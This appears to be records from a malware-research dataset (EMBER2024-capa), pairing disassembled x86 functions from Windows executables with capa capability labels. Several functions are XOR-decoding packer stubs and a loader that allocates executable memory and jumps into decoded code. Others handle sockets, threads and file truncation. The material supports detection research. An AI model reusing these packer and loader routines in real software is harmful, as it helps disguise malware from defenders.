joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40633c
pop dword [ebp - 0x2c]
mov eax, 0xc882c81
add eax, 0xf3b836bb
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x9cf69ee7
add dword [ebp - 0x3c], 0xb15ba664
mov dword [ebp - 0x38], 0x97c9c513
add dword [ebp - 0x38], 0x9a698732
mov dword [ebp - 0x34], 0x4281c415
add dword [ebp - 0x34], 0x9ca8019
mov dword [ebp - 0x30], 0xb7f5a852
add dword [ebp - 0x30], 0x480a57ae
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xd1d7f4a2
sub eax, 0xd1978442
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xf3c7e86f
add dword [ebp - 0x3c], 0x80aa80e7
mov dword [ebp - 0x38], 0xae31de99
add dword [ebp - 0x38], 0x933a82dc
mov dword [ebp - 0x34], 0xe4b82741
sub dword [ebp - 0x34], 0x8148bad5
mov dword [ebp - 0x30], 0x8b4d7a53
add dword [ebp - 0x30], 0x74b285ad
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x56b34e7b
add eax, 0xa98d2285
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x34555
push 0
call eax
mov ecx, 0x3edc
xor ebx, ebx
add ebx, eax
mov edx, 0x410000
add edx, dword [ebp - 0x2c]
mov edi, 0xa509737c
add edi, 0xe9a794d
xor dword [ebp - 0xc], ecx
mov esi, dword [edx]
sub dword [ebp - 0x1c], ebx
add esi, edi
add dword [ebp - 0x28], edx
mov dword [ebx], esi
mov dword [ebp - 4], 0x3f8153b9
add ebx, 0x2f9585f0
sub ebx, 0x2f9585ec
add edx, 0x2610cbb0
add edx, 0xd9ef3454
loop 0x406454
add eax, 0xa470ee1e
add eax, 0x5b900025
xor ebx, ebx
add ebx, eax
add eax, 0x1a662627
add eax, 0xe599d9de
mov ecx, 0x332474b1
add ecx, 0xcd1b8b4f
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040632d
jmp 0x406676

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..data
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x682a6703
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x21182f7e
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x5ac94391
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x42f314
mov ecx, 0x682c6bda
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10002c90
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
lea eax, [esp + 0x14]
push ebx
push esi
push edi
push eax
push 0x202
mov esi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
xor ebx, ebx
inc ebx
push ebx
push 2
pop edi
push edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10002d09
push dword [ebp + 0x20]
mov word [esp + 0x14], di
call dword [sym.imp.WS2_32.dll_htons]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [esp + 0x14]
mov word [esp + 0x12], ax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [esp + 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10002d0b
xor bl, bl
lea ecx, [ebp + 8]
call fcn.10005227
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x10002d1e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebp, ecx
test edi, edi
je 0x10002d47
push 0
push edi
push ebx
push dword [ebp + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10002d51
add ebx, eax
sub edi, eax
jne 0x10002d2f
mov eax, dword [esp + 0x14]
pop edi
pop ebp
pop ebx
ret 8
or eax, 0xffffffff
jmp 0x10002d4b

Function at 0x10002d56
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, 0x2014
call fcn.1000a610
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], ecx
call fcn.1000ca11
mov edi, dword [esp + 0x2028]
push 0
cdq
pop ebp
mov esi, dword [edi + 4]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], ebp
sub esi, dword [edi]
je 0x10002e39
mov eax, 0x1ff0
mov ecx, dword [esp + 0x10]
cmp esi, eax
mov ebx, esi
cmovg ebx, eax
mov ecx, dword [ecx + 8]
call fcn.100016dc
mov ecx, dword [edi]
mov eax, dword [edi + 4]
sub eax, ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
lea eax, [ecx + ebp]
push ebx
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.1000acb0
lea eax, [ebx + 0x10]
add esp, 0xc
mov dword [esp + 0x20], eax
mov edi, eax
lea ebp, [esp + 0x24]
test eax, eax
je 0x10002e05
mov eax, dword [esp + 0x10]
push 0
push edi
push ebp
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10002e48
add ebp, eax
sub edi, eax
jne 0x10002de9
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
push dword [eax + 8]
call fcn.100090d6
pop ecx
cmp edi, 0xffffffff
je 0x10002e4d
mov ebp, dword [esp + 0x14]
mov eax, 0x1ff0
mov edi, dword [esp + 0x2028]
add ebp, ebx
mov dword [esp + 0x14], ebp
sub esi, ebx
jne 0x10002d94
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2014
ret 4
or edi, 0xffffffff
jmp 0x10002e09
xor al, al
jmp 0x10002e3b
Function at 0x100057eb
Capabilities:
Create thread

Disassembly:
mov eax, 0x1001b405
call fcn.1001ac48
push ecx
push ebx
push esi
push edi
push 0x24
mov edi, ecx
call fcn.1000977a
mov esi, eax
pop ecx
mov dword [ebp - 0x10], esi
and dword [ebp - 4], 0
mov ecx, dword [ebp + 0x14]
push dword [ebp + 0x10]
mov ecx, dword [ecx]
mov dword [esi], ecx
lea ecx, [esi + 4]
call fcn.10004e94
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0x14], esi
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
xor eax, eax
mov dword [ebp - 4], 1
lea ebx, [edi + 4]
push ebx
push eax
push esi
push 0x100071a4
push eax
push eax
call fcn.1000ce03
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x10005860
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
and dword [ebx], 0
push 6
call fcn.10008c5f
int3

Function at 0x1000586b
Capabilities:
Create thread

Disassembly:
mov eax, 0x1001b41e
call fcn.1001ac48
push ecx
push ebx
push esi
push edi
push 4
mov esi, ecx
xor ebx, ebx
call fcn.1000977a
mov dword [ebp - 0x10], eax
mov dword [eax], 0x10003ff6
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push eax
push 0x10007224
push ebx
push ebx
call fcn.1000ce03
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x100058be
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
push 6
mov dword [edi], ebx
call fcn.10008c5f
int3

Function at 0x10008ad4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.10008ab0
pop esi
leave
ret 8

Function at 0x1000e1cd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e20c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e20c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e20c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e20c
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e20c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001040c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e914
push 0x1001e90c
push str.FlsAlloc
push 0x1f
call fcn.1001028b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10010440
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1e4]
call esi
jmp 0x10010446
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x1001048a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e924
push 0x1001e91c
push str.FlsGetValue
push 0x21
call fcn.1001028b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100104c1
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1e4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100104c9
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e92c
push 0x1001e924
push str.FlsSetValue
push 0x22
call fcn.1001028b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10010503
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001c1e4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10013a01
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10013a9e
push ebx
push esi
call fcn.100139ca
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001395e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10013a4b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10013a9d
push edi
push eax
call fcn.10011ef8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10013a6b
call fcn.1000f34b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10013a9c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001395e
add esp, 0x20
test eax, eax
jne 0x10013a8a
push edi
call fcn.1000f34b
jmp 0x10013a92
push ebx
call fcn.1000f34b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10013aa1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10013ab2
pop esi
ret
push ebx
push edi
push esi
call fcn.100139ca
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10011ef8
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10013ada
push ebx
push esi
push edi
call fcn.1000acb0
add esp, 0xc
push 0
call fcn.1000f34b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10013eaa
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10013aef
Function at 0x100153a2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10029c18]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100153e2
cmp byte [ebx], 0xa
jne 0x100153e2
or byte [edi + eax + 0x28], 4
jmp 0x100153e7
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x100154e6
mov dl, byte [eax]
cmp dl, 0x1a
je 0x100154c9
inc eax
cmp dl, 0xd
je 0x10015413
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10015439
cmp eax, ecx
jae 0x10015447
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x100153fb
jmp 0x100154e6
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100154c4
cmp dword [ebp - 0x10], 0
je 0x100154c4
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10029c18]
test byte [eax + edi + 0x28], 0x48
je 0x1001549e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10015489
mov byte [esi], dl
jmp 0x1001549a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10029c18]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100154e6
cmp byte [ebp - 1], 0xa
jne 0x100154ad
cmp esi, ebx
jne 0x100154ad
mov byte [esi], 0xa
jmp 0x100154e5
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001519b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100154e6
mov byte [esi], 0xd
jmp 0x100154e5
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10029c18]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100154e3
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100154e6
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100154ef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x10029c18]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10015535
cmp word [ebx], dx
jne 0x10015535
or byte [eax + edi + 0x28], 4
jmp 0x1001553a
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1001569d
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1001567d
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1001557b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100155b1
cmp eax, edx
jae 0x100155bf
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10015556
jmp 0x1001569d
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10015678
cmp dword [ebp - 0x18], 0
je 0x10015678
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x10029c18]
test byte [eax + edi + 0x28], 0x48
je 0x1001564e
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10015612
mov word [esi], cx
jmp 0x10015649
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x10029c18]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10029c18]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x10029c18]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1001569d
pop eax
cmp word [ebp - 4], ax
jne 0x1001565e
cmp esi, ebx
jne 0x1001565e
mov word [esi], ax
jmp 0x1001569a
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1001519b
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1001569d
push 0xd
pop eax
jmp 0x10015659
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x10029c18]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10015697
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1001569d
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001722c
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100171a8
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001739b
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001739b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10017350
jg 0x10017288
test eax, eax
je 0x10017346
push 1
push 0x1000
call fcn.100100fb
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100172ab
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001733d
push 0x8000
push ebx
call fcn.100170d9
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100172d4
jg 0x100172cf
cmp ecx, 0x1000
jb 0x100172d4
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100113a5
add esp, 0x10
cmp eax, 0xffffffff
je 0x10017319
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100172cf
jl 0x10017300
test ecx, ecx
jne 0x100172c1
push dword [ebp - 0xc]
push ebx
call fcn.100170d9
push esi
call fcn.1000f34b
add esp, 0xc
xor ebx, ebx
jmp 0x100173a9
cmp byte [edi + 0x24], 0
je 0x10017330
cmp dword [edi + 0x20], 5
jne 0x10017330
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001733b
mov ebx, dword [edi + 0x18]
jmp 0x1001733d
xor ebx, ebx
push esi
call fcn.1000f34b
pop ecx
jmp 0x100173a9
test ecx, ecx
jg 0x10017312
jl 0x10017350
test eax, eax
jae 0x10017312
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001519b
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10017370
cmp byte [edi + 0x1c], 0
je 0x10017312
jmp 0x100173a1
push ebx
call fcn.10014535
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10017312
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100173a9
cmp byte [edi + 0x1c], 0
je 0x100173a6
mov ebx, dword [edi + 0x18]
jmp 0x100173a9
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1001519b
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10019210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001923d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001923d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret